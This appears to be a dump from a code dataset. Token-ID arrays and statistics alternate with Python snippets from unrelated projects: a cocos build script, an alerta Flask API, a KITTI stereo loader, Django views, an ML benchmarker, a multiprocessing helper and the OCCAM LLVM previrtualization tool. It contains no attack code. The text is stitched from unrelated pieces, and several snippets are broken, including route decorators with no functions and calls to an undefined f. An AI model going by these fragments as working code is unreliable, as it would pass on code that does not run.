28243, 7203, 11498, 489, 62, 2302, 5736, 13, 40664, 13, 73, 17, 4943, 201, 198, 28243, 14155, 796, 17365, 13, 1136, 62, 28243, 7203, 11498, 489, 13, 37581, 13, 73, 17, 4943, 201, 198, 201, 198, 2302, 796, 923, 62, 2302, 201, 198, 1640, 1627, 287, 8352, 25, 201, 198, 220, 220, 220, 1366, 796, 1391, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 21633, 1298, 366, 16, 1600, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 18242, 1298, 1070, 11, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 13812, 3672, 1298, 1070, 11, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 82, 541, 5842, 13292, 1298, 1070, 11, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 18439, 3672, 1298, 1070, 11, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 82, 541, 35215, 1298, 9206, 22784, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 15388, 1298, 366, 17477, 13, 14656, 13, 16, 13, 16, 1600, 220, 1303, 3803, 340, 355, 345, 765, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 12384, 12982, 1298, 366, 28482, 1600, 220, 220, 220, 220, 220, 220, 1303, 3803, 340, 355, 345, 765, 201, 198, 220, 220, 220, 220, 220, 220, 220, 366, 12384, 35215, 1298, 366, 28482, 1, 220, 220, 220, 1303, 3803, 340, 355, 345, 765, 201, 198, 220, 220, 220, 1782, 201, 198, 220, 220, 220, 7552, 8979, 13, 13564, 7203, 59, 77, 1, 1343, 11055, 11627, 3004, 13, 13287, 7, 1174, 7890, 4008, 201, 198, 220, 220, 220, 22320, 8979, 796, 1280, 7, 8692, 35277, 1343, 366, 6852, 1, 1343, 1627, 58, 15, 21912, 16, 60, 1343, 27071, 37581, 1600, 366, 86, 4943, 201, 198, 220, 220, 220, 22320, 8979, 13, 13564, 7, 28243, 14155, 13, 13287, 7, 1174, 7890, 8, 1343, 37082, 77, 4943, 201, 198, 220, 220, 220, 22320, 8979, 13, 19836, 3419, 201, 198, 220, 220, 220, 1070, 796, 1070, 1343, 352, 201, 198, 201, 198, 201, 198, 201, 198, 20285, 13, 19836, 3419, 201, 198, 2302, 3004, 8979, 13, 19836, 3419, 201, 198, 201, 198, 201, 198 ]
2.418605
645
from flask import Blueprint, current_app, jsonify, request from alerta.app import custom_webhooks from alerta.exceptions import ApiError from alerta.utils.response import absolute_url api = Blueprint('api', __name__) from . import alerts, blackouts, config, customers, groups, heartbeats, keys, oembed, permissions, users # noqa isort:skip try: from . import bulk # noqa except ImportError: pass @api.before_request @api.route('/', methods=['OPTIONS', 'GET']) @api.route('/_', methods=['GET'])
[ 6738, 42903, 1330, 39932, 11, 1459, 62, 1324, 11, 33918, 1958, 11, 2581, 198, 198, 6738, 7995, 64, 13, 1324, 1330, 2183, 62, 12384, 25480, 82, 198, 6738, 7995, 64, 13, 1069, 11755, 1330, 5949, 72, 12331, 198, 6738, 7995, 64, 13, 26791, 13, 26209, 1330, 4112, 62, 6371, 198, 198, 15042, 796, 39932, 10786, 15042, 3256, 11593, 3672, 834, 8, 198, 198, 6738, 764, 1330, 21675, 11, 2042, 5269, 11, 4566, 11, 4297, 11, 2628, 11, 2612, 1350, 1381, 11, 8251, 11, 267, 20521, 11, 21627, 11, 2985, 220, 1303, 645, 20402, 318, 419, 25, 48267, 198, 198, 28311, 25, 198, 220, 220, 220, 422, 764, 1330, 11963, 220, 1303, 645, 20402, 198, 16341, 17267, 12331, 25, 198, 220, 220, 220, 1208, 628, 198, 31, 15042, 13, 19052, 62, 25927, 628, 198, 31, 15042, 13, 38629, 10786, 14, 3256, 5050, 28, 17816, 3185, 51, 11053, 3256, 705, 18851, 6, 12962, 628, 198, 31, 15042, 13, 38629, 10786, 47835, 3256, 5050, 28, 17816, 18851, 6, 12962, 198 ]
3.077844
167
#!/usr/bin/python # build_native.py # Build native codes import sys import os, os.path import shutil from optparse import OptionParser import cocos import cocos_project import json import re from xml.dom import minidom import project_compile BUILD_CFIG_FILE="build-cfg.json"
[ 2, 48443, 14629, 14, 8800, 14, 29412, 198, 2, 1382, 62, 30191, 13, 9078, 198, 2, 10934, 6868, 12416, 628, 198, 11748, 25064, 198, 11748, 28686, 11, 28686, 13, 6978, 198, 11748, 4423, 346, 198, 6738, 2172, 29572, 1330, 16018, 46677, 198, 11748, 8954, 418, 198, 11748, 8954, 418, 62, 16302, 198, 11748, 33918, 198, 11748, 302, 198, 6738, 35555, 13, 3438, 1330, 949, 312, 296, 198, 198, 11748, 1628, 62, 5589, 576, 198, 198, 19499, 26761, 62, 34, 16254, 62, 25664, 2625, 11249, 12, 37581, 13, 17752, 1, 198 ]
3.1
90
from robot.api.deco import not_keyword
[ 6738, 9379, 13, 15042, 13, 12501, 78, 1330, 407, 62, 2539, 4775, 628 ]
3.076923
13
l1 = [1, 3, 5, 7, 9] # list mutable (read write) t1 = (1, 3, 5, 7, 9) # tuple imutable (read only) f(l1) print(l1) f(t1) print(t1)
[ 75, 16, 796, 685, 16, 11, 513, 11, 642, 11, 767, 11, 860, 60, 220, 1303, 1351, 4517, 540, 357, 961, 3551, 8, 198, 83, 16, 796, 357, 16, 11, 513, 11, 642, 11, 767, 11, 860, 8, 220, 1303, 46545, 545, 18187, 357, 961, 691, 8, 628, 198, 198, 69, 7, 75, 16, 8, 198, 4798, 7, 75, 16, 8, 198, 69, 7, 83, 16, 8, 198, 4798, 7, 83, 16, 8, 198 ]
1.837838
74
# Copyright 2020 Filippo Aleotti, Fabio Tosi, Li Zhang, Matteo Poggi, Stefano Mattoccia # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from dataset import KITTI def load_from_file_test(filepath, rgb_ext): """Load testing images. Args: filepath: path to filename file rgb_ext: extension of RGB images Return: left_test: list of paths to left images right_test: list of paths to right images """ left_test = [] right_test = [] with open(filepath) as f: lines = f.readlines() for line in lines: left, right = _load_samples_test(line, rgb_ext) left_test.append(left) right_test.append(right) return left_test, right_test def _load_samples_test(line, rgb_ext): """Load samples in line. Args: line: line to load rgb_ext: extension of RGB image Return: left: list of paths to left images right: list of paths to right images """ left, right = line.replace("\n", "").split(" ") left, right = [KITTI.set_extension(x, rgb_ext) for x in [left, right]] return left, right
[ 2, 15069, 12131, 376, 8908, 78, 9300, 26380, 11, 14236, 952, 309, 21707, 11, 7455, 19439, 11, 38789, 78, 350, 10332, 72, 11, 22350, 5733, 4705, 13966, 544, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 198, 6738, 27039, 1330, 509, 22470, 40, 628, 198, 4299, 3440, 62, 6738, 62, 7753, 62, 9288, 7, 7753, 6978, 11, 46140, 62, 2302, 2599, 198, 220, 220, 220, 37227, 8912, 4856, 4263, 13, 198, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2393, 6978, 25, 3108, 284, 29472, 2393, 198, 220, 220, 220, 220, 220, 220, 220, 46140, 62, 2302, 25, 7552, 286, 25228, 4263, 628, 220, 220, 220, 8229, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1364, 62, 9288, 25, 1351, 286, 13532, 284, 1364, 4263, 198, 220, 220, 220, 220, 220, 220, 220, 826, 62, 9288, 25, 1351, 286, 13532, 284, 826, 4263, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1364, 62, 9288, 796, 17635, 198, 220, 220, 220, 826, 62, 9288, 796, 17635, 628, 220, 220, 220, 351, 1280, 7, 7753, 6978, 8, 355, 277, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3951, 796, 277, 13, 961, 6615, 3419, 628, 220, 220, 220, 329, 1627, 287, 3951, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1364, 11, 826, 796, 4808, 2220, 62, 82, 12629, 62, 9288, 7, 1370, 11, 46140, 62, 2302, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1364, 62, 9288, 13, 33295, 7, 9464, 8, 198, 220, 220, 220, 220, 220, 220, 220, 826, 62, 9288, 13, 33295, 7, 3506, 8, 628, 220, 220, 220, 1441, 1364, 62, 9288, 11, 826, 62, 9288, 628, 198, 4299, 4808, 2220, 62, 82, 12629, 62, 9288, 7, 1370, 11, 46140, 62, 2302, 2599, 198, 220, 220, 220, 37227, 8912, 8405, 287, 1627, 13, 198, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1627, 25, 1627, 284, 3440, 198, 220, 220, 220, 220, 220, 220, 220, 46140, 62, 2302, 25, 7552, 286, 25228, 2939, 628, 220, 220, 220, 8229, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1364, 25, 1351, 286, 13532, 284, 1364, 4263, 198, 220, 220, 220, 220, 220, 220, 220, 826, 25, 1351, 286, 13532, 284, 826, 4263, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1364, 11, 826, 796, 1627, 13, 33491, 7203, 59, 77, 1600, 366, 11074, 35312, 7203, 366, 8, 198, 220, 220, 220, 1364, 11, 826, 796, 685, 42, 22470, 40, 13, 2617, 62, 2302, 3004, 7, 87, 11, 46140, 62, 2302, 8, 329, 2124, 287, 685, 9464, 11, 826, 11907, 198, 220, 220, 220, 1441, 1364, 11, 826, 198 ]
2.794168
583
# Import # # Django from django.contrib.auth.mixins import LoginRequiredMixin from django.http import HttpResponseRedirect from django.shortcuts import render from django.views import View from django.urls import reverse from django.utils import timezone # App from .forms import BookmarkForm from .models import Bookmark # Views # # Metrics # # List, Add
[ 2, 17267, 1303, 198, 2, 37770, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 19816, 1040, 1330, 23093, 37374, 35608, 259, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 7738, 1060, 198, 6738, 42625, 14208, 13, 19509, 23779, 1330, 8543, 198, 6738, 42625, 14208, 13, 33571, 1330, 3582, 198, 6738, 42625, 14208, 13, 6371, 82, 1330, 9575, 198, 6738, 42625, 14208, 13, 26791, 1330, 640, 11340, 198, 198, 2, 2034, 198, 6738, 764, 23914, 1330, 4897, 4102, 8479, 198, 6738, 764, 27530, 1330, 4897, 4102, 628, 198, 2, 29978, 1303, 198, 2, 3395, 10466, 1303, 628, 220, 220, 220, 1303, 7343, 11, 3060 ]
3.392523
107
''' Created on Apr 21, 2015 @author: xapharius ''' import numpy as np import pandas as pd from datahandler.numerical2.numerical_data_handler import NumericalDataHandler from sklearn.linear_model.logistic import LogisticRegression from factory.algorithm_factory import AlgorithmFactory from factory.homogenous_factory import HomogenousFactory from simulation.sampler.bootstrap_sampler import BootstrapSampler import simulation.benchmarker.dataset_loader as loader from simulation.mr_simulator.ensemble_simulator import EnsembleSimulator from ensemble.classification.weighted_bag import WBag from validator.classification_validator import ClassificationValidator from simulation.mr_simulator.wbag_simulator import WBagSimulator class ModelBenchmarker(object): ''' Class for running a comparison !!! Two meta-parameters for experiment: nr_mappers of simulation and sample_size_ratio for sampler ''' def __init__(self, data_type="numerical", sampler=BootstrapSampler(), simulator=WBagSimulator, nr_mappers=10): ''' Constructor - Defining an experiment/environment setting in order to then benchmark different models @param task: "classification" or "regression" (to know what validation metrics to choose) @param sampler: unbound sampler @param nr_mappers: number of mappers simulator should use @param train_ratio: ratio of training set to total amount of data, the rest will be used for validaion ''' self.data_type = data_type self.nr_mappers = nr_mappers self.sampler = sampler self.sampler.sample_size_ratio = 1. / nr_mappers # iterable of RawDataset self.datasets = loader.get_datasets(data_type=self.data_type) self.simulator = simulator
[ 7061, 6, 198, 41972, 319, 2758, 2310, 11, 1853, 198, 198, 31, 9800, 25, 2124, 6570, 19897, 198, 7061, 6, 198, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 19798, 292, 355, 279, 67, 198, 198, 6738, 4818, 993, 392, 1754, 13, 77, 6975, 605, 17, 13, 77, 6975, 605, 62, 7890, 62, 30281, 1330, 399, 6975, 605, 6601, 25060, 198, 6738, 1341, 35720, 13, 29127, 62, 19849, 13, 6404, 2569, 1330, 5972, 2569, 8081, 2234, 198, 6738, 8860, 13, 282, 42289, 62, 69, 9548, 1330, 978, 42289, 22810, 198, 6738, 8860, 13, 26452, 27897, 62, 69, 9548, 1330, 8074, 27897, 22810, 198, 198, 6738, 18640, 13, 37687, 20053, 13, 18769, 26418, 62, 37687, 20053, 1330, 18892, 26418, 16305, 20053, 198, 11748, 18640, 13, 26968, 4102, 263, 13, 19608, 292, 316, 62, 29356, 355, 40213, 198, 6738, 18640, 13, 43395, 62, 14323, 8927, 13, 1072, 11306, 62, 14323, 8927, 1330, 2039, 15140, 8890, 8927, 198, 198, 6738, 34549, 13, 4871, 2649, 13, 6551, 276, 62, 21454, 1330, 36245, 363, 198, 6738, 4938, 1352, 13, 4871, 2649, 62, 12102, 1352, 1330, 40984, 47139, 1352, 198, 6738, 18640, 13, 43395, 62, 14323, 8927, 13, 86, 21454, 62, 14323, 8927, 1330, 36245, 363, 8890, 8927, 628, 628, 198, 198, 4871, 9104, 44199, 4102, 263, 7, 15252, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 5016, 329, 2491, 257, 7208, 220, 198, 220, 220, 220, 220, 198, 220, 220, 220, 220, 10185, 4930, 13634, 12, 17143, 7307, 329, 6306, 25, 299, 81, 62, 76, 46629, 286, 18640, 290, 6291, 62, 7857, 62, 10366, 952, 329, 6072, 20053, 220, 198, 220, 220, 220, 220, 198, 220, 220, 220, 705, 7061, 628, 198, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 1366, 62, 4906, 2625, 77, 6975, 605, 1600, 6072, 20053, 28, 36476, 26418, 16305, 20053, 22784, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 35375, 28, 45607, 363, 8890, 8927, 11, 299, 81, 62, 76, 46629, 28, 940, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 28407, 273, 532, 2896, 3191, 281, 6306, 14, 38986, 4634, 220, 198, 220, 220, 220, 220, 220, 220, 220, 287, 1502, 284, 788, 18335, 1180, 4981, 198, 220, 220, 220, 220, 220, 220, 220, 2488, 17143, 4876, 25, 366, 4871, 2649, 1, 393, 366, 2301, 2234, 1, 198, 220, 220, 220, 220, 220, 220, 220, 357, 1462, 760, 644, 21201, 20731, 284, 3853, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2488, 17143, 6072, 20053, 25, 555, 7784, 6072, 20053, 198, 220, 220, 220, 220, 220, 220, 220, 2488, 17143, 299, 81, 62, 76, 46629, 25, 1271, 286, 285, 46629, 35375, 815, 779, 198, 220, 220, 220, 220, 220, 220, 220, 2488, 17143, 4512, 62, 10366, 952, 25, 8064, 286, 3047, 900, 284, 2472, 2033, 286, 1366, 11, 220, 198, 220, 220, 220, 220, 220, 220, 220, 262, 1334, 481, 307, 973, 329, 1188, 3755, 295, 198, 220, 220, 220, 220, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 7890, 62, 4906, 796, 1366, 62, 4906, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 48624, 62, 76, 46629, 796, 299, 81, 62, 76, 46629, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 37687, 20053, 796, 6072, 20053, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 37687, 20053, 13, 39873, 62, 7857, 62, 10366, 952, 796, 352, 13, 1220, 299, 81, 62, 76, 46629, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 11629, 540, 286, 16089, 27354, 292, 316, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 19608, 292, 1039, 796, 40213, 13, 1136, 62, 19608, 292, 1039, 7, 7890, 62, 4906, 28, 944, 13, 7890, 62, 4906, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 14323, 8927, 796, 35375, 628, 198, 220, 220, 220, 220 ]
2.79003
662
from ..wrappers.status import UpdateStatusResultWrapper from .base import HttpbinAction
[ 6738, 11485, 29988, 11799, 13, 13376, 1330, 10133, 19580, 23004, 36918, 2848, 198, 6738, 764, 8692, 1330, 367, 29281, 8800, 12502, 628 ]
4.045455
22
favorite_languages = { 'jen': 'python', 'sarah': 'c', 'edward': 'ruby', 'phil': 'python', } for name, language in favorite_languages.items(): print(name.title() + "'s favorite language is " + language.title() + ".") for name in favorite_languages.keys(): print(name.title()) friends = ['phil', 'sarah'] for name in favorite_languages.keys(): print(name.title()) if name in friends: print(" Hi " + name.title() + ", I see your favorite language is " + favorite_languages[name].title() + "!") if 'erin' not in favorite_languages.keys(): print("Erin, please take our poll!") print("The following languages have been mentioned:") for language in favorite_languages.values(): print(language.title()) print("These languages have been mentioned at least once:") for language in set(favorite_languages.values()): print(language.title())
[ 35200, 62, 75, 33213, 796, 1391, 198, 220, 220, 220, 705, 48796, 10354, 705, 29412, 3256, 198, 220, 220, 220, 705, 82, 23066, 10354, 705, 66, 3256, 198, 220, 220, 220, 705, 276, 904, 10354, 705, 49137, 3256, 198, 220, 220, 220, 705, 28864, 10354, 705, 29412, 3256, 198, 92, 198, 198, 1640, 1438, 11, 3303, 287, 4004, 62, 75, 33213, 13, 23814, 33529, 198, 220, 220, 220, 3601, 7, 3672, 13, 7839, 3419, 1343, 24018, 82, 4004, 3303, 318, 366, 1343, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3303, 13, 7839, 3419, 1343, 366, 19570, 628, 198, 1640, 1438, 287, 4004, 62, 75, 33213, 13, 13083, 33529, 198, 220, 220, 220, 3601, 7, 3672, 13, 7839, 28955, 628, 198, 36154, 796, 37250, 28864, 3256, 705, 82, 23066, 20520, 198, 1640, 1438, 287, 4004, 62, 75, 33213, 13, 13083, 33529, 198, 220, 220, 220, 3601, 7, 3672, 13, 7839, 28955, 628, 220, 220, 220, 611, 1438, 287, 2460, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 15902, 366, 1343, 1438, 13, 7839, 3419, 1343, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33172, 314, 766, 534, 4004, 3303, 318, 366, 1343, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4004, 62, 75, 33213, 58, 3672, 4083, 7839, 3419, 1343, 366, 2474, 8, 198, 198, 361, 705, 263, 259, 6, 407, 287, 4004, 62, 75, 33213, 13, 13083, 33529, 198, 220, 220, 220, 3601, 7203, 9139, 259, 11, 3387, 1011, 674, 3278, 2474, 8, 198, 198, 4798, 7203, 464, 1708, 8950, 423, 587, 4750, 25, 4943, 198, 1640, 3303, 287, 4004, 62, 75, 33213, 13, 27160, 33529, 198, 220, 220, 220, 3601, 7, 16129, 13, 7839, 28955, 198, 198, 4798, 7203, 4711, 8950, 423, 587, 4750, 379, 1551, 1752, 25, 4943, 198, 1640, 3303, 287, 900, 7, 35200, 62, 75, 33213, 13, 27160, 3419, 2599, 198, 220, 220, 220, 3601, 7, 16129, 13, 7839, 28955, 198 ]
2.786787
333
import copy import os import logging import pickle import psutil import time import threading import typing from enum import Enum from math import ceil from multiprocessing import Pool, Queue, Manager, current_process from threading import Timer _logger = logging.getLogger(__name__) # used to save all PID of workers created m = Manager() _current_work_pids = m.list() class WorkerQueueHandler(logging.handlers.QueueHandler): ''' Adds process name to log records ''' # def emit(self, record): # print('emit:', record) # return super().emit(record) # def enqueue(self, record): # print('enqueue:', record) # return super().enqueue(record)
[ 11748, 4866, 198, 11748, 28686, 198, 11748, 18931, 198, 11748, 2298, 293, 198, 11748, 26692, 22602, 198, 11748, 640, 198, 11748, 4704, 278, 198, 11748, 19720, 198, 198, 6738, 33829, 1330, 2039, 388, 198, 6738, 10688, 1330, 2906, 346, 198, 6738, 18540, 305, 919, 278, 1330, 19850, 11, 4670, 518, 11, 9142, 11, 1459, 62, 14681, 198, 6738, 4704, 278, 1330, 5045, 263, 198, 198, 62, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 2, 973, 284, 3613, 477, 37022, 286, 3259, 2727, 198, 76, 796, 9142, 3419, 198, 62, 14421, 62, 1818, 62, 79, 2340, 796, 285, 13, 4868, 3419, 628, 198, 4871, 35412, 34991, 25060, 7, 6404, 2667, 13, 4993, 8116, 13, 34991, 25060, 2599, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 34333, 1429, 1438, 284, 2604, 4406, 198, 220, 220, 220, 705, 7061, 628, 220, 220, 220, 1303, 825, 27588, 7, 944, 11, 1700, 2599, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 3601, 10786, 368, 270, 25, 3256, 1700, 8, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 1441, 2208, 22446, 368, 270, 7, 22105, 8, 628, 220, 220, 220, 1303, 825, 551, 36560, 7, 944, 11, 1700, 2599, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 3601, 10786, 268, 36560, 25, 3256, 1700, 8, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 1441, 2208, 22446, 268, 36560, 7, 22105, 8, 628 ]
2.920502
239
""" OCCAM Copyright (c) 2011-2017, SRI International All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of SRI International nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ import sys import os import tempfile import shutil from . import config from . import driver from . import interface as inter from . import stringbuffer from . import pool from . import utils def interface(input_file, output_file, wrt): """ computing the interfaces. """ args = ['-Pinterface2', '-Pinterface2-output', output_file] args += driver.all_args('-Pinterface2-entry', wrt) return driver.previrt(input_file, '/dev/null', args) def specialize(input_file, output_file, rewrite_file, interfaces): """ inter module specialization. """ args = ['-Pspecialize'] if not rewrite_file is None: args += ['-Pspecialize-output', rewrite_file] args += driver.all_args('-Pspecialize-input', interfaces) if output_file is None: output_file = '/dev/null' return driver.previrt(input_file, output_file, args) def rewrite(input_file, output_file, rewrites, output=None): """ inter module rewriting """ args = ['-Prewrite'] + driver.all_args('-Prewrite-input', rewrites) return driver.previrt_progress(input_file, output_file, args, output) def internalize(input_file, output_file, interfaces, whitelist): """ marks unused symbols as internal/hidden """ args = ['-Poccam'] + driver.all_args('-Poccam-input', interfaces) if whitelist is not None: args = args + ['-Pkeep-external', whitelist] return driver.previrt_progress(input_file, output_file, args) def strip(input_file, output_file): """ strips unused symbols """ args = [input_file, '-o', output_file] args += ['-strip', '-globaldce', '-globalopt', '-strip-dead-prototypes'] return driver.run('opt', args) def devirt(input_file, output_file): """ resolve indirect function calls """ args = ['-devirt-ta', # XXX: this one is not, in general, sound #'-calltarget-ignore-external', '-inline'] retcode = driver.previrt_progress(input_file, output_file, args) if retcode != 0: return retcode #FIXME: previrt_progress returns 0 in cases where --devirt-ta crashes. #Here we check that the output_file exists if not os.path.isfile(output_file): #Some return code different from zero return 3 else: return retcode def profile(input_file, output_file): """ count number of instructions, functions, memory accesses, etc. """ args = ['-Pprofiler'] args += ['-profile-outfile={0}'.format(output_file)] return driver.previrt(input_file, '/dev/null', args) def peval(input_file, output_file, use_devirt, use_llpe, use_ipdse, log=None): """ intra module previrtualization """ opt = tempfile.NamedTemporaryFile(suffix='.bc', delete=False) done = tempfile.NamedTemporaryFile(suffix='.bc', delete=False) tmp = tempfile.NamedTemporaryFile(suffix='.bc', delete=False) opt.close() done.close() tmp.close() #XXX: Optimize using standard llvm transformations before any other pass. #Otherwise, these passes will not be very effective. retcode = optimize(input_file, done.name) if retcode != 0: sys.stderr.write("ERROR: intra module optimization failed!\n") shutil.copy(input_file, output_file) return retcode else: sys.stderr.write("\tintra module optimization finished succesfully\n") if use_devirt is not None: retcode = devirt(done.name, tmp.name) if retcode != 0: sys.stderr.write("ERROR: resolution of indirect calls failed!\n") shutil.copy(done.name, output_file) return retcode sys.stderr.write("\tresolved indirect calls finished succesfully\n") shutil.copy(tmp.name, done.name) if use_llpe is not None: llpe_libs = [] for lib in config.get_llpelibs(): llpe_libs.append('-load={0}'.format(lib)) args = llpe_libs + ['-loop-simplify', '-lcssa', \ '-llpe', '-llpe-omit-checks', '-llpe-single-threaded', \ done.name, '-o=%s' % tmp.name] retcode = driver.run('opt', args) if retcode != 0: sys.stderr.write("ERROR: llpe failed!\n") shutil.copy(done.name, output_file) #FIXME: unlink files return retcode else: sys.stderr.write("\tllpe finished succesfully\n") shutil.copy(tmp.name, done.name) if use_ipdse is not None: ##lower global initializers to store's in main (improve precision of sccp) passes = ['-lower-gv-init'] ##dead store elimination (improve precision of sccp) passes += ['-memory-ssa', '-Pmem-ssa-local-mod','-Pmem-ssa-split-fields', '-mem2reg', '-ip-dse', '-strip-memory-ssa-inst'] ##perform sccp passes += ['-Psccp'] ##cleanup after sccp passes += ['-dce', '-globaldce'] retcode = driver.previrt(done.name, tmp.name, passes) if retcode != 0: sys.stderr.write("ERROR: ipdse failed!\n") shutil.copy(done.name, output_file) #FIXME: unlink files return retcode else: sys.stderr.write("\tipdse finished succesfully\n") shutil.copy(tmp.name, done.name) out = [''] iteration = 0 while True: iteration += 1 if iteration > 1 or \ (use_llpe is not None or use_ipdse is not None): # optimize using standard llvm transformations retcode = optimize(done.name, opt.name) if retcode != 0: sys.stderr.write("ERROR: intra-module optimization failed!\n") break; else: sys.stderr.write("\tintra module optimization finished succesfully\n") else: shutil.copy(done.name, opt.name) # inlining using policies passes = ['-Ppeval'] progress = driver.previrt_progress(opt.name, done.name, passes, output=out) sys.stderr.write("\tintra-module specialization finished\n") if progress: if log is not None: log.write(out[0]) else: shutil.copy(opt.name, done.name) break shutil.copy(done.name, output_file) try: os.unlink(done.name) os.unlink(opt.name) os.unlink(tmp.name) except OSError: pass return retcode def optimize(input_file, output_file): """ run opt -O3 """ args = ['-disable-simplify-libcalls', input_file, '-o', output_file, '-O3'] return driver.run('opt', args) def constrain_program_args(input_file, output_file, cnstrs, filename=None): """ constrain the program arguments. """ if filename is None: cnstr_file = tempfile.NamedTemporaryFile(delete=False) cnstr_file.close() cnstr_file = cnstr_file.name else: cnstr_file = filename f = open(cnstr_file, 'w') (argc, argv) = cnstrs f.write('{0}\n'.format(argc)) index = 0 for x in argv: f.write('{0} {1}\n'.format(index, x)) index += 1 f.close() args = ['-Pconstraints', '-Pconstraints-input', cnstr_file] driver.previrt(input_file, output_file, args) if filename is None: os.unlink(cnstr_file) def specialize_program_args(input_file, output_file, args, filename=None, name=None): """ fix the program arguments. """ if filename is None: arg_file = tempfile.NamedTemporaryFile(delete=False) arg_file.close() arg_file = arg_file.name else: arg_file = filename f = open(arg_file, 'w') for x in args: f.write(x + '\n') f.close() extra_args = [] if not name is None: extra_args = ['-Parguments-name', name] args = ['-Parguments', '-Parguments-input', arg_file] + extra_args driver.previrt(input_file, output_file, args) if filename is None: os.unlink(arg_file) def deep(libs, ifaces): """ compute interfaces across modules. """ tf = tempfile.NamedTemporaryFile(suffix='.iface', delete=False) tf.close() iface = inter.parseInterface(ifaces[0]) for i in ifaces[1:]: inter.joinInterfaces(iface, inter.parseInterface(i)) inter.writeInterface(iface, tf.name) progress = True while progress: progress = False for l in libs: interface(l, tf.name, [tf.name]) x = inter.parseInterface(tf.name) progress = inter.joinInterfaces(iface, x) or progress 